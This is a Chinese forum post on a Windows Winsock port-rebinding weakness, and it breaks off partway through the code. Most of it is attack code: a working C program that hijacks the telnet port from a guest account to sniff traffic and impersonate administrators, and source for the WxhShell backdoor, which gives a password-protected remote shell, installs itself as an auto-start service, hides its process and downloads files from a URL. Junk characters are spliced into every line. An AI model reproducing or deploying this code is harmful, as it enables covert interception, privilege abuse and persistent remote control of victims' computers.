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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: DP2 ^(d<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); TW 2OT }  
MA\^<x_?L}  
  saddr.sin_family = AF_INET; ;>*l?m-S@n  
OBGA~E;%  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); yN* H IN  
E,6(/`0H*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >Ab>"!/'K  
DqgYc[UGA  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 yo)a_rY  
Of)EBa<5^  
  这意味着什么?意味着可以进行如下的攻击: v 4@=>L  
1<hj3  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8&15k A  
. &dh7` l  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2o0.ttBAqZ  
# 2As-9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 aGK=VN}r  
Q>\y%&df  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  HGuY-f  
A;e[-5@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 zCrDbGvqF`  
@@L@r6  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 f wN  
ahagt9[,:F  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (!h%) _?.l  
sOc<'):TK  
  #include xkv2#"*v  
  #include wJ_E\vP  
  #include )9~1XiS,  
  #include    SHw%u~[hu  
  DWORD WINAPI ClientThread(LPVOID lpParam);   sb 3l4(8g  
  int main() fo63H'7  
  { y'(bp=Nq  
  WORD wVersionRequested; EleK*l  
  DWORD ret; <ex,@{n4  
  WSADATA wsaData; 1:-^*  
  BOOL val; __U;fH{c  
  SOCKADDR_IN saddr; F$ kLft[:  
  SOCKADDR_IN scaddr; TGnyN'P|  
  int err; #q{i<E 07  
  SOCKET s; Dp:u!tdbeg  
  SOCKET sc; =}S*]Me5  
  int caddsize; iz'#K?PF_  
  HANDLE mt; 5#~ARk*?a  
  DWORD tid;   &KfRZ`9H  
  wVersionRequested = MAKEWORD( 2, 2 ); PV?XpT  
  err = WSAStartup( wVersionRequested, &wsaData ); D#>+]}5@x  
  if ( err != 0 ) { ,BM6s,\  
  printf("error!WSAStartup failed!\n"); po~l8p>  
  return -1; i2or/(u`  
  } fM jn8.  
  saddr.sin_family = AF_INET; QJFx/zU  
   L@*0wx`fU  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <y${Pkrj  
?#@JH  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); o'.6gZ gk  
  saddr.sin_port = htons(23); *wW/nr=\;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Wc4K?3 ZM  
  { VFN\ Ryd  
  printf("error!socket failed!\n"); - #]?3*NO  
  return -1; uHdrHP  
  } 1gp3A  
  val = TRUE; XcJ'w  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 jKV,i?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) J-g#zs  
  { ]a|3"DP5  
  printf("error!setsockopt failed!\n"); /kLX f_  
  return -1; #84pRU~  
  } nV I\Or[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; XZhX%OT!  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <\k=j{@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \M>+6m@w  
]}Hcb)'j@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6T 2jVNg  
  { Ou IoO  
  ret=GetLastError(); 6,'v /A-  
  printf("error!bind failed!\n"); ehO@3%z30c  
  return -1; O~F/pJN`  
  } ;u LD_1%  
  listen(s,2); 'tK5s>gv<  
  while(1) u/FnA-L4  
  { 4VE7%.z+  
  caddsize = sizeof(scaddr); pfW0)V1t  
  //接受连接请求 1 O+4A[cr  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); o"@y=n/  
  if(sc!=INVALID_SOCKET) d )|{iUcW  
  { }'{39vc .  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }zVPdBRfm  
  if(mt==NULL) ADRjCk}I  
  { nGA'\+zj L  
  printf("Thread Creat Failed!\n"); c@:L7#8  
  break; <:yB4t3H+q  
  } q#B^yk|Y  
  } >'eOzMBn  
  CloseHandle(mt); b?h9G3J_a  
  } WSfla~-'F  
  closesocket(s); P[PBoRd2  
  WSACleanup(); >`DbT:/<  
  return 0; ]X +3"  
  }   5J1A|qII  
  DWORD WINAPI ClientThread(LPVOID lpParam) b7>^w<ki  
  { yn<z!z%mz  
  SOCKET ss = (SOCKET)lpParam; q4vu r>m6  
  SOCKET sc; 6~\z]LZ  
  unsigned char buf[4096]; ,-Fhb~u  
  SOCKADDR_IN saddr;  G~T]m .  
  long num; tYyva  
  DWORD val; %7BVJJp2  
  DWORD ret; /=4P< &J  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?iG}Qj@5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   k{n*[)m  
  saddr.sin_family = AF_INET; ^z3-$98=A  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); MrjET!`.jC  
  saddr.sin_port = htons(23); /zn|?Y[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L f[>U  
  { Okca6=2"  
  printf("error!socket failed!\n"); ''!pvxA  
  return -1; U7J0&  
  } KC o<%  
  val = 100; Y-&r_s_~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,s0E]](  
  { %[4/UD=7  
  ret = GetLastError(); |E!()j=  
  return -1; IXt2R~b  
  } DR/qe0D  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u3kK!2cdP  
  { UC^&& 2maI  
  ret = GetLastError(); [.B)W);  
  return -1; _lb ^  
  } ME~ga,|K  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &V1N a1`  
  { (r`+q[  
  printf("error!socket connect failed!\n"); evPr~_  
  closesocket(sc); a>`\^>G4  
  closesocket(ss); [8.ufpZ  
  return -1; "|`8mNC  
  } K|];fd U  
  while(1) { yU1db^  
  { "5e~19  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >]Hz-2b  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @~fg[)7M  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 MK[l*=\s  
  num = recv(ss,buf,4096,0); : N ^1T6v  
  if(num>0) Ken|!rL  
  send(sc,buf,num,0); FCQoz"M  
  else if(num==0) Mm-FdP m  
  break; :SG9ygq'  
  num = recv(sc,buf,4096,0); XEV-D9n  
  if(num>0) l?(nkg["nY  
  send(ss,buf,num,0); W5(t+$L.  
  else if(num==0) y4) M,+O5  
  break; X`]-) (U X  
  } G ;V@oT  
  closesocket(ss); /dhx+K~  
  closesocket(sc); Pca~V>Hd  
  return 0 ; s W+YfJT  
  } %Rr!I:[ $  
KgVit+4u/  
" e g`3v  
========================================================== %@$h?HP  
q#v.-013r  
下边附上一个代码,,WXhSHELL QRdNi 1&M  
$ZYEH  
========================================================== %0INtq  
0m)["g4  
#include "stdafx.h" <1&kCfE&  
~X5yHf3  
#include <stdio.h> +,7dj:0S  
#include <string.h> c a_N76o!  
#include <windows.h> m{!BSl  
#include <winsock2.h> -'JTVfm.  
#include <winsvc.h> ;|w &n  
#include <urlmon.h> z=!$3E ecr  
C!XI0d  
#pragma comment (lib, "Ws2_32.lib") rfYu8-  
#pragma comment (lib, "urlmon.lib") c }ivYH?`w  
MjE.pb  
#define MAX_USER   100 // 最大客户端连接数 EG&^;uU  
#define BUF_SOCK   200 // sock buffer ^j';4'  
#define KEY_BUFF   255 // 输入 buffer l7aGo1TcIh  
Xn"n5 =M  
#define REBOOT     0   // 重启 m0]LY-t  
#define SHUTDOWN   1   // 关机 *x`z5_yfO  
FFbMG:>:  
#define DEF_PORT   5000 // 监听端口 < .$<d  
dJ?VN!B0  
#define REG_LEN     16   // 注册表键长度 Y+iC/pd  
#define SVC_LEN     80   // NT服务名长度 G#5Cyu<r!  
@iUzRsl  
// 从dll定义API T;GBZR%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V-A^9AAPm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qh0)~JL4   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &o^wgmS   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /`\-.S9  
vPmP<c)cb  
// wxhshell配置信息 h@Ea$1'e,  
struct WSCFG { dVVeH\o  
  int ws_port;         // 监听端口 \bQ|O7s  
  char ws_passstr[REG_LEN]; // 口令 % %c0UaV  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,M7sOp6}  
  char ws_regname[REG_LEN]; // 注册表键名 f Otrn  
  char ws_svcname[REG_LEN]; // 服务名 |C'w] QYm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /2>-h-zBjw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7zr\AgV9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U`FybP2R~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W euV+}\b  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `m3@mJ!>\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 90sMS]a  
HCHP15otfe  
}; _I~TpH^1K  
c/;t.+g  
// default Wxhshell configuration L)8+/+  
struct WSCFG wscfg={DEF_PORT, a[";K,  
    "xuhuanlingzhe", huvg'Y t  
    1, -/x +M-X#  
    "Wxhshell", H4l:L(!D  
    "Wxhshell", bw%1*;n)  
            "WxhShell Service", T 6QnCmB4  
    "Wrsky Windows CmdShell Service", >]:R{1h  
    "Please Input Your Password: ", qqw6p j  
  1, n ^n' lgUT  
  "http://www.wrsky.com/wxhshell.exe", ZhxMA*fL  
  "Wxhshell.exe" +D?d)lK  
    }; :N8D1e-a  
<kLY1 EILM  
// 消息定义模块 8S]Mf*~S'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &M>S$+I n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L!S-f4^5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Redp'rXT<h  
char *msg_ws_ext="\n\rExit."; a:zx&DwM  
char *msg_ws_end="\n\rQuit."; (ZShhy8g  
char *msg_ws_boot="\n\rReboot..."; pal))e! B  
char *msg_ws_poff="\n\rShutdown..."; FVY,CeA.  
char *msg_ws_down="\n\rSave to "; WU<#_by g  
H7Y}qP5X  
char *msg_ws_err="\n\rErr!"; C| Mh<,~ E  
char *msg_ws_ok="\n\rOK!"; +V2a|uvEc  
rA` zuYo  
char ExeFile[MAX_PATH]; T:)>Tcv}:  
int nUser = 0; >=U $s@  
HANDLE handles[MAX_USER]; U&u7d$ANP  
int OsIsNt; )[p8  
#> CN,eiZ  
SERVICE_STATUS       serviceStatus; ljiq+tT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; OzO_E8Kb\  
]XPGlM  
// 函数声明 d[~c-G6  
int Install(void); |o!<@/iH=  
int Uninstall(void); C{!Czz.N  
int DownloadFile(char *sURL, SOCKET wsh); * D AgcB  
int Boot(int flag); ]VwAHT&je  
void HideProc(void); `b\4h/~  
int GetOsVer(void); n:*+pL;  
int Wxhshell(SOCKET wsl); N e^#5T  
void TalkWithClient(void *cs); jb7=1OPD_  
int CmdShell(SOCKET sock); 'Fonn  
int StartFromService(void); ;Ly4Z*!2  
int StartWxhshell(LPSTR lpCmdLine); uXhp+q\  
+B8Ut{l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vnN_csJ#^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Bs##3{ylu  
AP@xZ%;K  
// 数据结构和表定义 N.64aL|1  
SERVICE_TABLE_ENTRY DispatchTable[] = aNq Vs|H  
{ RLKO0 #  
{wscfg.ws_svcname, NTServiceMain}, J&3;6I &  
{NULL, NULL} 3M@>kIT8  
}; V >['~|  
_I8-0DnOM  
// 自我安装 Qb(CH  
int Install(void) Rw/G =zV@2  
{ ED?s[K  
  char svExeFile[MAX_PATH]; sm_:M| [D  
  HKEY key; U!e4_JBR'  
  strcpy(svExeFile,ExeFile); I[4E?  
y:,{U*49  
// 如果是win9x系统,修改注册表设为自启动  R(zsn;  
if(!OsIsNt) { wz, \zh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \]9;c6(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #5H@/o8!s=  
  RegCloseKey(key);  >#q|Pjv]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~(Tz <  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S;t~"87v*  
  RegCloseKey(key); +?.,pqn<=  
  return 0; F;b|A`M  
    } mdZELRu  
  } ;m5M: Z"  
} yr=r? h}  
else { *,R e&N8  
#ERn 8k  
// 如果是NT以上系统,安装为系统服务 FdSaOod8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "(xS  
if (schSCManager!=0) V`H#|8\i  
{ }`MO}Pz  
  SC_HANDLE schService = CreateService Gt1Up~\s  
  ( !e7vc[N  
  schSCManager, eT|_0kx1  
  wscfg.ws_svcname, 9:Y:Vx  
  wscfg.ws_svcdisp, NRl"!FSD;"  
  SERVICE_ALL_ACCESS, $bo^UYZ6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /F4:1 }  
  SERVICE_AUTO_START, >u4e:/5]  
  SERVICE_ERROR_NORMAL, l~=iUZW<  
  svExeFile, 2tbqmWw/s  
  NULL, :J~j*_hZ  
  NULL, bo*q{@Ue  
  NULL, B@=Yj_s  
  NULL, O<E0L&4-&  
  NULL UP`q6] P  
  ); $YC~02{  
  if (schService!=0) $e_ps~{7$  
  { ~H$XSNPi  
  CloseServiceHandle(schService); p']AXJ`Z  
  CloseServiceHandle(schSCManager); =aekY;/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [_0g^(`  
  strcat(svExeFile,wscfg.ws_svcname); jG2w(h/"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [D,:=p`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N0piL6Js  
  RegCloseKey(key); D# $gdjZ  
  return 0; 4w?7AI]Ej  
    } UQ8x #(`ak  
  } L,ra=SVF  
  CloseServiceHandle(schSCManager); ~mp$P+M(%p  
} 3(&.[o Z  
} iWCV(!  
Z-<u?f8{*  
return 1; &-* nr/xT  
} Y]lqtre*Y  
D=\|teA&  
// 自我卸载 6a@~;!GlI  
int Uninstall(void) ,,J3 h  
{ f8 ja Mn9o  
  HKEY key; Y; w]u_  
[s/@z*,M1  
if(!OsIsNt) { 9,W-KM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ${+.1"/[  
  RegDeleteValue(key,wscfg.ws_regname); KRtu@;?  
  RegCloseKey(key); Q*8-d9C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |rvrSab)  
  RegDeleteValue(key,wscfg.ws_regname); V!P3CNK  
  RegCloseKey(key); AH`15k_i  
  return 0; |FFC8R%@]u  
  } R]Oy4U,f  
} K[[k,W]qb  
} !.9vW&t  
else { sV<4^n7  
MT`gr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~D5MAEazS  
if (schSCManager!=0) TJpv"V  
{ 3~Ln:4[6ID  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M@kZ(Rkv  
  if (schService!=0) KV_Ga8hs  
  { /6zpVkV  
  if(DeleteService(schService)!=0) { 9ojhI=:  
  CloseServiceHandle(schService); 'EV  *-_k  
  CloseServiceHandle(schSCManager); }^[@m#  
  return 0; :Y>] 6  
  } QZr<=}   
  CloseServiceHandle(schService); }NCvaO  
  } S=p u  
  CloseServiceHandle(schSCManager); 'I]"=O,  
} 14!J\`rI  
} kW&Z%k  
sK0VT"7K  
return 1; <y!r~?  
} ~,2hP ~  
V^I /nuy  
// 从指定url下载文件 q}$=bR1+  
int DownloadFile(char *sURL, SOCKET wsh) ]?(F'&  
{ n-3j$x1Ne  
  HRESULT hr; wG5RN;`V  
char seps[]= "/"; kA!(}wRL  
char *token; K<6x4ha  
char *file; ':D&c  
char myURL[MAX_PATH]; 1:zu$|%7  
char myFILE[MAX_PATH]; /dt!J `:  
L5 9oh  
strcpy(myURL,sURL); |ozoc"'  
  token=strtok(myURL,seps); 6;frIl;  
  while(token!=NULL) z L'IN)7MU  
  { %D(prA_w  
    file=token; ;&6PL]/d  
  token=strtok(NULL,seps); ;-pvc<_c<  
  } 1lyOp   
I<./(X[H:#  
GetCurrentDirectory(MAX_PATH,myFILE); ^r*%BUU9]%  
strcat(myFILE, "\\"); Gr$*t,ZW  
strcat(myFILE, file); nFnF_  
  send(wsh,myFILE,strlen(myFILE),0); `l2<  
send(wsh,"...",3,0); Nu/Qa:H_{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5`'=Ko,N  
  if(hr==S_OK) z-G7Y#  
return 0; Z,!Xxv;4  
else yI.H4Dl<  
return 1; A;-z#R#V5  
q'F_ j"  
} yj'' \  
)_*a7N!  
// 系统电源模块 |sqo+E  
int Boot(int flag) H! r Kz  
{ }<ONxg6Kb  
  HANDLE hToken; l$VxE'&LQ  
  TOKEN_PRIVILEGES tkp; w2N3+Tkg  
>xV<nLf/  
  if(OsIsNt) { /~l/_Jct@G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N~; khS]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >'-w %H/  
    tkp.PrivilegeCount = 1; e9@fQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _Sgk^i3v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >9<8G]vcH  
if(flag==REBOOT) { `x$}~rP&)!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fE%[j?[  
  return 0; Mj B< \g>  
} NnLhJPh  
else { 9MB\z"b?A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '!^E92  
  return 0; R_>TEYZ  
} vbA7I<;  
  } L);||]B  
  else { a|P~LMPM  
if(flag==REBOOT) { kyxSIQ^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I*W9VhIOV  
  return 0; a\&(Ua  
} =EcIXDzC>  
else { sh !~T<yy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !q-:rW? c  
  return 0; iVKbGgA  
} ,dZ#,<  
} ^\ vfos  
^3WIl ]  
return 1; A&|Wvb=  
} }+{*, z  
YMj7  
// win9x进程隐藏模块 oDW<e'Jm  
void HideProc(void) mo|PrLV  
{ ?)?IZ Qj  
`rz`3:ZH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]Z.<c$  
  if ( hKernel != NULL ) D%jD 8p  
  { {{.sEi*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'YZI>V*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lPRdwg-  
    FreeLibrary(hKernel); ;&+[W(7Sy  
  } 4-]Do?  
2vqmsl ?  
return; z"6ZDC6  
} io t.E%G  
/<(*/P,>  
// 获取操作系统版本 jiA5oX^g  
int GetOsVer(void) sR"zRn  
{ di3 B=A>3  
  OSVERSIONINFO winfo; +A8=R%&b)[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F!OOrW]p0  
  GetVersionEx(&winfo); vQ-i xh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5i!V}hE  
  return 1; -H1"OJ2aF  
  else F5N>Uqr*oN  
  return 0; WF ?/GN  
} \LIy:$`8  
oupJJDpP  
// 客户端句柄模块 do:QH.q8)  
int Wxhshell(SOCKET wsl) g2g`,"T  
{ )u39}dpeu  
  SOCKET wsh; +M44XhT  
  struct sockaddr_in client; 8w)e/*:j  
  DWORD myID; `4VO&lRm  
'RDWU7c9]  
  while(nUser<MAX_USER) _:wZmZU}  
{ Bz~ -2#l  
  int nSize=sizeof(client); =ud `6{R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); reJ"r<2  
  if(wsh==INVALID_SOCKET) return 1; KK:N [x  
Y3-]+y%l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >?S\~Y  
if(handles[nUser]==0) ]UK`?J=t2g  
  closesocket(wsh); R<Z^L~)  
else ~k9O5S{  
  nUser++; WI,40&<  
  } Y{,2X~ 7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); VVs{l\$=ZV  
riID,aut  
  return 0; j._G7z/LJ  
} m])Lw@#9W  
Oz :D.V 3~  
// 关闭 socket '4$lL 6ly>  
void CloseIt(SOCKET wsh) -r!42`S  
{ a]`itjL^  
closesocket(wsh); }.'Z =yy  
nUser--; "cwR^DoD&  
ExitThread(0); /4yOs@#  
} }qG#N  
Ru:n~77{  
// 客户端请求句柄 EY]a6@;  
void TalkWithClient(void *cs) }xqXd%uz  
{ Po> e kz_E  
5)mVy?Z  
  SOCKET wsh=(SOCKET)cs; PCtkjd  
  char pwd[SVC_LEN]; "r@G@pe  
  char cmd[KEY_BUFF]; ?gLAWz  
char chr[1]; N3Z iGD  
int i,j; SWT:frki`  
;J'OakeVO  
  while (nUser < MAX_USER) { WJAYM2 6\  
@.k5MOn  
if(wscfg.ws_passstr) { A]j}'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r]0(qg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }hCaNQ&jH  
  //ZeroMemory(pwd,KEY_BUFF); f4 Q( 1(C  
      i=0; or7pJy%4"  
  while(i<SVC_LEN) { P])L8zK  
H-Pq!9[DB  
  // 设置超时 i *B:El1  
  fd_set FdRead; :Dayv6g  
  struct timeval TimeOut; Y[ ?`\c|  
  FD_ZERO(&FdRead); _-/x;C  
  FD_SET(wsh,&FdRead); & N;pH  
  TimeOut.tv_sec=8; c#  xO<  
  TimeOut.tv_usec=0; K@6`-|I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8[M* x3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); awFhz 6   
?gN9kd)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;b1wk^,Hw~  
  pwd=chr[0]; VJg,~lQN#t  
  if(chr[0]==0xd || chr[0]==0xa) { 0V3gKd7  
  pwd=0; n$YE !D'  
  break; =53b Lzr  
  } 5DOE3T`^Oc  
  i++; lbS?/f  
    } (f~gEKcB2u  
U*qNix  
  // 如果是非法用户,关闭 socket E=k w)<X2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /l6\^Xf{  
} MRs,l'  
f>z`i\1oO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uY;R8CiD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @!<d0_dnC  
f05=Mc&)  
while(1) { _q)!B,y-/N  
SX+4 HJB  
  ZeroMemory(cmd,KEY_BUFF); LwOJ |jA(,  
|l7%l&!  
      // 自动支持客户端 telnet标准   c#QFG1  
  j=0; @rwU 1T33  
  while(j<KEY_BUFF) { k_?~<vTM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A,BEKjR~J  
  cmd[j]=chr[0]; !5UfWk\G  
  if(chr[0]==0xa || chr[0]==0xd) { nJT4w|Yx  
  cmd[j]=0; `(DJs-xD  
  break; =VSkl;(O  
  } +9[SVw8  
  j++; hH`Jb7 7L  
    } TsHF tj9S  
5+K;_)   
  // 下载文件 %8w9E=  
  if(strstr(cmd,"http://")) { S;=_;&68?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =j~Q/-`EC0  
  if(DownloadFile(cmd,wsh)) //.>>-~1m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .X'< D*  
  else }fA;7GW+9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?z=\Ye5x  
  } @B`Md3$7  
  else { P^[/Qi}j  
 AmcC:5  
    switch(cmd[0]) { Q\9K2=4  
  c!Dc8=nE0m  
  // 帮助 xU}M;4kH~  
  case '?': { 73 V"s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }Hy ~i  
    break; 3.vgukkk5  
  } GaBTj_3  
  // 安装 VT=K"`EpQ  
  case 'i': { mxJXL":|  
    if(Install()) G{b:i8}l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )~ z Z'^  
    else L.B~ax.|Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ll<mE,  
    break; Ld(NhB'7  
    } )acV-+{  
  // 卸载 [X/(D9J  
  case 'r': { Sj-[%D*  
    if(Uninstall()) IU!Ht>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kus}W  J  
    else `,Orf ZMb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _k2w(ew?  
    break; f=aIXhiYU  
    } B~TN/sd  
  // 显示 wxhshell 所在路径 oT&m4I  
  case 'p': { 'Kz9ygZy  
    char svExeFile[MAX_PATH]; H}nJbnU  
    strcpy(svExeFile,"\n\r"); C1QV[bJK  
      strcat(svExeFile,ExeFile); EJm4xkYLj1  
        send(wsh,svExeFile,strlen(svExeFile),0); v01#>,R  
    break; 2z\;Q8g){r  
    } &5Y_>{,  
  // 重启 B?6QMC;  
  case 'b': { iiNSDc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `.^ |]|u  
    if(Boot(REBOOT)) : ejJV 6.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !>g:Si"  
    else { eVt1d2.O  
    closesocket(wsh); ?CY1]d  
    ExitThread(0); x(~<tX~  
    } IR$ (_9z  
    break; NL!9U,h5|  
    } 3~%!m<1:  
  // 关机 S_Z`so}  
  case 'd': { SUE ~rb  
